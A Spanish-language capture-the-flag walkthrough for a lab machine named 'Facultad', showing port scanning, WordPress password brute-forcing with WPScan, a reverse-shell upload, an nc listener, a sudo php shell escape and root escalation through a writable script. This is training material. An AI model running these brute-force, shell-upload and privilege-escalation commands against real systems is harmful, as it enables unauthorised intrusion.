> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/mis-ctfs/facultad.md).

# Facultad

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.61
```

para verificar la conectividad de red.

<figure><img src="/files/QIOrMhOdgJKiV1TP7EWf" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.61
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/aD0jVeZj7WhIdC9zyyoB" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.61
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/4mHZAZj6Ye8zGVHn0H3H" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea como el Studium de una asignatura en este caso se llama Administración de Sistemas.

<figure><img src="/files/LSrYZVU6tcS5Fw6TjVtT" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://192.168.1.61/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="/files/tNFZPWKk0Kec2L5nnzJ4" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del directorio`/images`.

<figure><img src="/files/3F6XprdwR2XMi8dY4PAj" alt=""><figcaption></figcaption></figure>

Nos la descargamos para realizar la técnica de esteganografía.

<figure><img src="/files/L2qPr3HSA3IHfrbayCNO" alt=""><figcaption></figcaption></figure>

Vemos el contenido del archivo. Descubrimos dos posibles usuarios.

<figure><img src="/files/J5bkJJ2hrd1Lv87NddZ9" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del directorio`/education`.&#x20;

<figure><img src="/files/Ba1N0DRnAQkRh2gJPqR1" alt=""><figcaption></figcaption></figure>

Como podemos comprobar es un WordPress por lo que añadimos el dominio **facultad.thl** a **/etc/hosts**.

<figure><img src="/files/mf2ApzEavVLr0IvRpvme" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Al tener el directorio wp-admin sabemos que es un panel de login pero no tenemos las credenciales por lo que con **WPScan** enumeramos el usuario.

```bash
wpscan --url http://192.168.1.61/education/ --enumerate u,vp
```

<figure><img src="/files/tLiAqL9q1LLL4Wub54Qq" alt=""><figcaption></figcaption></figure>

Sabiendo el usuario tenemos que conseguir la contraseña.

```bash
wpscan --url http://192.168.1.61/education/ --passwords /usr/share/wordlists/rockyou.txt --usernames facultad
```

<figure><img src="/files/I4IN5GbMl4UPwj22pcuL" alt=""><figcaption></figcaption></figure>

Ingresamos las credenciales en el panel de **login**.

<figure><img src="/files/ACHdcgbISAefl3S40w5Y" alt=""><figcaption></figcaption></figure>

Vemos que hay un apartado para subir archivos por lo que adjuntamos una [ReverseShell](https://www.revshells.com/).

<figure><img src="/files/HrRdckKLI5qtJjQECHKI" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

<figure><img src="/files/5bCAobchdzQDJ8qzPelO" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/jums5ELCUWBgYJTxj6oJ" alt=""><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/php/>" %}

```bash
sudo -u gabri php -r "system('/bin/bash');"
```

Como comprobamos en el mensaje la contraseña de Vivian está en el mail de Gabri.

<figure><img src="/files/WG7J4S7EaA1dtSIYnZ4O" alt=""><figcaption></figcaption></figure>

Mostramos el contenido que es la contraseña codificada en **Brainfuck** por lo que la decodificamos.

<figure><img src="/files/9IRHcRkBrwIg6VohXVus" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cA119018eNBUD0gSu2kX" alt=""><figcaption></figcaption></figure>

Iniciamos sesión con las credenciales.

<figure><img src="/files/Qx5NObW8vz43kEaxqBFH" alt=""><figcaption></figcaption></figure>

Tenemos permisos de **root** para ejecutar un script.

<figure><img src="/files/GGd2SY5eBJWer3T7NVQ8" alt=""><figcaption></figcaption></figure>

Vemos el contenido y así podemos modificarlo para escalar privilegios. Nos damos cuenta que el script se ejecuta cada minuto en el **/etc/crontab**.

<figure><img src="/files/VC6fcy0bW9TYbnSMFwkO" alt=""><figcaption></figcaption></figure>

```bash
#!/bin/bash
bash
```

Ejecutamos.

```
sudo /opt/vivian/script.sh
```

<figure><img src="/files/WgFX48Q0RarylzKRG1sG" alt=""><figcaption></figcaption></figure>

Ya somos **root** por lo que ahora encontraremos la bandera en sus directorios.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
